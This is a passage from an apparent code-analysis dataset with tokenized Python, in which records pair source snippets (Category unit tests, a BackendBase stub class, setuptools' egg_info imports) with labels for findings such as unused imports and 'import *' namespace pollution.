", "class", " ", "Test", "Cate", "gory", "2", "(", "Cate", "gory", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "name", " ", "=", " ", "\"", "Test", "1", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "slug", " ", "=", " ", "\"", "test", "1", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", "1", " ", "=", " ", "Test", "Cate", "gory", "1", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", "2", " ", "=", " ", "Test", "Cate", "gory", "2", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", "1", ".", "merge", "(", "td", "2", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "self", ".", "assert", "Equal", "(", "td", "1", ".", "data", ",", " ", "Order", "ed", "Dict", "([", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "]))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", "1", " ", "=", " ", "Test", "Cate", "gory", "1", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", "2", " ", "=", " ", "Test", "Cate", "gory", "2", "(", "self", ".", "view", "1", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", "1", ".", "merge", "(", "td", "2", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "self", ".", "assert", "Equal", "(", "td", "1", ".", "data", ",", " ", "Order", "ed", "Dict", "([", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "('", "test", "1", "',", " ", "self", ".", "view", "1", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "]))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", "1", " ", "=", " ", "Test", "Cate", "gory", "1", "(", "self", ".", "view", "1", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", "2", " ", "=", " ", "Test", "Cate", "gory", "2", "(", "self", ".", "view", "2", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", "1", ".", "merge", "(", "td", "2", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "self", ".", "assert", "Equal", "(", "td", "1", ".", "data", ",", " ", "Order", "ed", "Dict", "([", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "('", "test", "1", "',", " ", "self", ".", "view", "1", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "('", "test", "2", "',", " ", "self", ".", "view", "2", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "]))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", "1", " ", "=", " ", "Test", "Cate", "gory", "1", "(", "self", ".", "view", "2", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", "2", " ", "=", " ", "Test", "Cate", "gory", "2", "(", "self", ".", "view", "2", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", "1", ".", "merge", "(", "td", "2", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "self", ".", "assert", "Equal", "(", "td", "1", ".", "data", ",", " ", "Order", "ed", "Dict", "([", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "('", "test", "2", "',", " ", "self", ".", "view", "2", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "]))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", "1", " ", "=", " ", "Test", "Cate", "gory", "1", "(", "self", ".", "view", "2", ",", " ", "self", ".", "view", "1", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", "2", " ", "=", " ", "Test", "Cate", "gory", "2", "(", "self", ".", "view", "2", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", "1", ".", "merge", "(", "td", "2", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "self", ".", "assert", "Equal", "(", "td", "1", ".", "data", ",", " ", "Order", "ed", "Dict", "([", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "('", "test", "2", "',", " ", "self", ".", "view", "2", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "('", "test", "1", "',", " ", "self", ".", "view", "1", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "]))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "def", " ", "test\\u", "bool", "(", "self", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "class", " ", "Test", "Cate", "gory", "(", "Cate", "gory", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "name", " ", "=", " ", "\"", "test", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "slug", " ", "=", " ", "\"", "test", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", " ", "=", " ", "Test", "Cate", "gory", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "self", ".", "assert", "Fal", "se", "(", "td", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", ".", "add", "\\u", "view", "(", "self", ".", "view", "1", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "self", ".", "assert", "Tru", "e", "(", "td", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "def", " ", "test\\u", "len", "(", "self", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "class", " ", "Test", "Cate", "gory", "(", "Cate", "gory", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "name", " ", "=", " ", "\"", "test", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "slug", " ", "=", " ", "\"", "test", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", " ", "=", " ", "Test", "Cate", "gory", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "self", ".", "assert", "Equal", "(", "len", "(", "td", "),", " ", "0", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", " ", "=", " ", "Test", "Cate", "gory", "(", "self", ".", "view", "1", ",", " ", "self", ".", "view", "2", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "self", ".", "assert", "Equal", "(", "len", "(", "td", "),", " ", "2", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "def", " ", "test\\u", "eq", "(", "self", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "class", " ", "Test", "Cate", "gory", "1", "(", "Cate", "gory", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "name", " ", "=", " ", "\"", "test", "1", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "slug", " ", "=", " ", "\"", "test", "1", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "class", " ", "Test", "Cate", "gory", "2", "(", "Cate", "gory", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "name", " ", "=", " ", "\"", "test", "2", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "slug", " ", "=", " ", "\"", "test", "2", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "class", " ", "Test", "Cate", "gory", "3", "(", "Cate", "gory", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "name", " ", "=", " ", "\"", "test", "1", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "slug", " ", "=", " ", "\"", "test", "1", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", "1", " ", "=", " ", "Test", "Cate", "gory", "1", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", "2", " ", "=", " ", "Test", "Cate", "gory", "2", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", "3", " ", "=", " ", "Test", "Cate", "gory", "3", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "self", ".", "assert", "Equal", "(", "td", "1", ",", " ", "td", "3", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "self", ".", "assert", "Not", "Equal", "(", "td", "1", ",", " ", "td", "2", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "self", ".", "assert", "Not", "Equal", "(", "td", "1", ",", " ", "self", ".", "view", "1", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "def", " ", "test\\u", "contain", "s", "(", "self", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "class", " ", "Test", "Cate", "gory", "(", "Cate", "gory", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "name", " ", "=", " ", "\"", "test", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "slug", " ", "=", " ", "\"", "test", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", " ", "=", " ", "Test", "Cate", "gory", "(", "self", ".", "view", "1", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "self", ".", "assert", "Fal", "se", "('", "test", "2", "'", " ", "in", " ", "td", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "self", ".", "assert", "Fal", "se", "(", "self", ".", "view", "2", " ", "in", " ", "td", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "self", ".", "assert", "Tru", "e", "('", "test", "1", "'", " ", "in", " ", "td", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "self", ".", "assert", "Tru", "e", "(", "self", ".", "view", "1", " ", "in", " ", "td", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "def", " ", "test\\u", "getitem", "(", "self", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "class", " ", "Test", "Cate", "gory", "(", "Cate", "gory", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "name", " ", "=", " ", "\"", "test", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "slug", " ", "=", " ", "\"", "test", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", " ", "=", " ", "Test", "Cate", "gory", "(", "self", ".", "view", "1", ",", " ", "self", ".", "view", "2", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "self", ".", "assert", "Equal", "(", "td", "['", "test", "1", "']", ",", " ", "self", ".", "view", "1", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "self", ".", "assert", "Equal", "(", "td", "['", "test", "2", "']", ",", " ", "self", ".", "view", "2", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "with", " ", "self", ".", "assert", "Rai", "ses", "(", "Key", "Error", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "test", " ", "=", " ", "td", "['", "test", "3", "']", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "def", " ", "test\\u", "iter", "(", "self", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "class", " ", "Test", "Cate", "gory", "(", "Cate", "gory", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "name", " ", "=", " ", "\"", "test", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "slug", " ", "=", " ", "\"", "test", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", " ", "=", " ", "Test", "Cate", "gory", "(", "self", ".", "view", "1", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "for", " ", "i", " ", "in", " ", "td", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "self", ".", "assert", "Equal", "(", "i", ",", " ", "self", ".", "view", "1", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", " ", "=", " ", "Test", "Cate", "gory", "(", "self", ".", "view", "1", ",", " ", "self", ".", "view", "2", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "self", ".", "assert", "Equal", "([", "i", " ", "for", " ", "i", " ", "in", " ", "td", "],", " ", "[", "self", ".", "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nKey = namedtuple(\"Key\", [\"name\",\"version\"])\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class BackendBase(object):\n \"\"\"\n Backend object implements\n \"\"\"\n\n\n\n\n\n\n", "metadata": "root.BackendBase", "header": "['module', '___EOS___']", "index": 8 }, { "content": " def __init__(self, name, version, description, supported=[]):\n \"\"\"\n Parameters:\n -----------\n name: Name of the backend service e.g., s3\n version: Version of this implementation\n description: Text description of this service\n supported: supported services with including name\n\n For example, there may be multiple s3 implementations that\n support different kinds of services.\n\n \"\"\"\n self.enable = 'y'\n self.name = name\n self.version = version\n self.description = description\n self.support = supported + [name]\n self.initialize()", "metadata": "root.BackendBase.__init__", "header": "['class', 'BackendBase', '(', 'object', ')', ':', '___EOS___']", "index": 12 }, { "content": " def __str__(self): \n return self.name ", "metadata": "root.BackendBase.__str__", "header": "['class', 'BackendBase', '(', 'object', ')', ':', '___EOS___']", "index": 32 }, { "content": " def initialize(self):\n \"\"\"\n Called to initialize sessions, internal objects etc.\n \"\"\"\n return", "metadata": "root.BackendBase.initialize", "header": "['class', 'BackendBase', '(', 'object', ')', ':', '___EOS___']", "index": 35 }, { "content": " def clone_repo(self, url, gitdir):\n \"\"\"\n Clone a repo at specified URL\n \"\"\"\n return", "metadata": "root.BackendBase.clone_repo", "header": "['class', 'BackendBase', '(', 'object', ')', ':', '___EOS___']", "index": 41 }, { "content": " def supported(self, url):\n \"\"\"\n Check if a URL is supported by repo\n \"\"\"\n return False", "metadata": "root.BackendBase.supported", "header": "['class', 'BackendBase', '(', 'object', ')', ':', '___EOS___']", "index": 47 }, { "content": " def url_is_valid(self, url):\n \"\"\"\n Check if a URL exists\n \"\"\"\n return", "metadata": "root.BackendBase.url_is_valid", "header": "['class', 'BackendBase', '(', 'object', ')', ':', '___EOS___']", "index": 53 }, { "content": " def push(self, state, name):\n \"\"\"\n Push a data version to the server\n\n Parameters\n ----------\n\n state: Overall state object that has dataset details\n name: name of the dataset\n \"\"\"\n return", "metadata": "root.BackendBase.push", "header": "['class', 'BackendBase', '(', 'object', ')', ':', '___EOS___']", "index": 59 }, { "content": " def config(self, what='get', params=None):\n return", "metadata": "root.BackendBase.config", "header": "['class', 'BackendBase', '(', 'object', ')', ':', '___EOS___']", "index": 71 } ]
[ { "span": "import os, sys", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 14 }, { "span": "import json", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 11 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", ",_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "collections_", "import_", "namedtuple_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Key_", "=_", "namedtuple_", "(_", "\"", "Key", "\"_", ",_", "[_", "\"", "name", "\"_", ",_", "\"", "version", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Back", "end", "Base_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Back", "end", " ", "object", " ", "implement", "s", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Back", "end", "Base_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "name_", ",_", "version_", ",_", "description_", ",_", "supported_", "=_", "[_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Parameter", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "-----------", "\\", "10", ";", " ", " ", " ", " ", "name", ":", " ", "Name", " ", "of", " ", "the", " ", "back", "end", " ", "service", " ", "e", ".", "g", ".,", " ", "s3", "\\", "10", ";", " ", " ", " ", " ", "version", ":", " ", "Version", " ", "of", " ", "this", " ", "implementation", "\\", "10", ";", " ", " ", " ", " ", "description", ":", " ", "Text", " ", "description", " ", "of", " ", "this", " ", "service", "\\", "10", ";", " ", " ", " ", " ", "support", "ed", ":", " ", "support", "ed", " ", "service", "s", " ", "with", " ", "inclu", "ding", " ", "name", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "For", " ", "example", ",", " ", "there", " ", "may", " ", "be", " ", "multiple", " ", "s3", " ", "implementation", "s", " ", "tha", "t", "\\", "10", ";", " ", " ", " ", " ", "support", " ", "different", " ", "kinds", " ", "of", " ", "service", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "enable_", "=_", "'", "y", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "name_", "=_", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "version_", "=_", "version_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "description_", "=_", "description_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "support_", "=_", "supported_", "+_", "[_", "name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "initialize_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Back", "end", "Base_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "str\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Back", "end", "Base_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "initialize_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Call", "ed", " ", "to", " ", "initialize", " ", "session", "s", ",", " ", "internal", " ", "object", "s", " ", "etc", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Back", "end", "Base_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "clone", "\\u", "repo_", "(_", "self_", ",_", "url_", ",_", "git", "dir_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Clone", " ", "a", " ", "repo", " ", "at", " ", "specified", " ", "URL", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Back", "end", "Base_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "supported_", "(_", "self_", ",_", "url_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Check", " ", "if", " ", "a", " ", "URL", " ", "is", " ", "support", "ed", " ", "by", " ", "repo", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Back", "end", "Base_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "url", "\\u", "is", "\\u", "valid_", "(_", "self_", ",_", "url_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Check", " ", "if", " ", "a", " ", "URL", " ", "exist", "s", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Back", "end", "Base_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "push_", "(_", "self_", ",_", "state_", ",_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Push", " ", "a", " ", "data", " ", "version", " ", "to", " ", "the", " ", "server", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Parameter", "s", "\\", "10", ";", " ", " ", " ", " ", "----------", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "state", ":", " ", "Over", "all", " ", "state", " ", "object", " ", "tha", "t", " ", "has", " ", "dataset", " ", "deta", "il", "s", "\\", "10", ";", " ", " ", " ", " ", "name", ":", " ", "name", " ", "of", " ", "the", " ", "dataset", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Back", "end", "Base_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "config_", "(_", "self_", ",_", "what_", "=_", "'", "get", "'_", ",_", "params_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
'import *' may pollute namespace
AppScale/appscale/AppServer/lib/setuptools-0.6c11/setuptools/command/egg_info.py
[ { "content": "\"\"\"setuptools.command.egg_info\n\nCreate a distribution's .egg-info directory and contents\"\"\"\n\n# This module should be kept compatible with Python 2.3\nimport os, re\nfrom setuptools import Command\nfrom distutils.errors import *\nfrom distutils import log\nfrom setuptools.command.sdist import sdist\nfrom distutils.util import convert_path\nfrom distutils.filelist import FileList\nfrom pkg_resources import parse_requirements, safe_name, parse_version, \\\n safe_version, yield_lines, EntryPoint, iter_entry_points, to_filename\nfrom sdist import walk_revctrl\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n#\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "from distutils.errors import *", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 30 } ]
[]
1
true
[ "[CLS]_", "'", "import", " ", "*'_", "may", "_", "poll", "ute", "_", "namespace_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\"\"\"", "setup", "tool", "s", ".", "command", ".", "egg", "\\u", "info", "\\", "10", ";", "\\", "10", ";", "Creat", "e", " ", "a", " ", "distribu", "tion", "'", "s", " ", ".", "egg", "-", "info", " ", "director", "y", " ", "and", " ", "content", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "module", " ", "shou", "ld", " ", "be", " ", "kep", "t", " ", "compatible", " ", "with", " ", "Pyth", "on", " ", "2.3_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", ",_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "setuptools_", "import_", "Command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "distutils_", "._", "errors_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "distutils_", "import_", "log_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "setuptools_", "._", "command_", "._", "sdist", "_", "import_", "sdist", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "distutils_", "._", "util_", "import_", "convert", "\\u", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "distutils_", "._", "filelist_", "import_", "File", "List_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pkg", "\\u", "resources_", "import_", "parse", "\\u", "requirements_", ",_", "safe", "\\u", "name_", ",_", "parse", "\\u", "version_", ",_", "safe", "\\u", "version_", ",_", "yield", "\\u", "lines_", ",_", "Entr", "y", "Point_", ",_", "iter", "\\u", "entry", "\\u", "points_", ",_", "to", "\\u", "filename_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sdist", "_", "import_", "walk", "\\u", "rev", "ctrl_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", 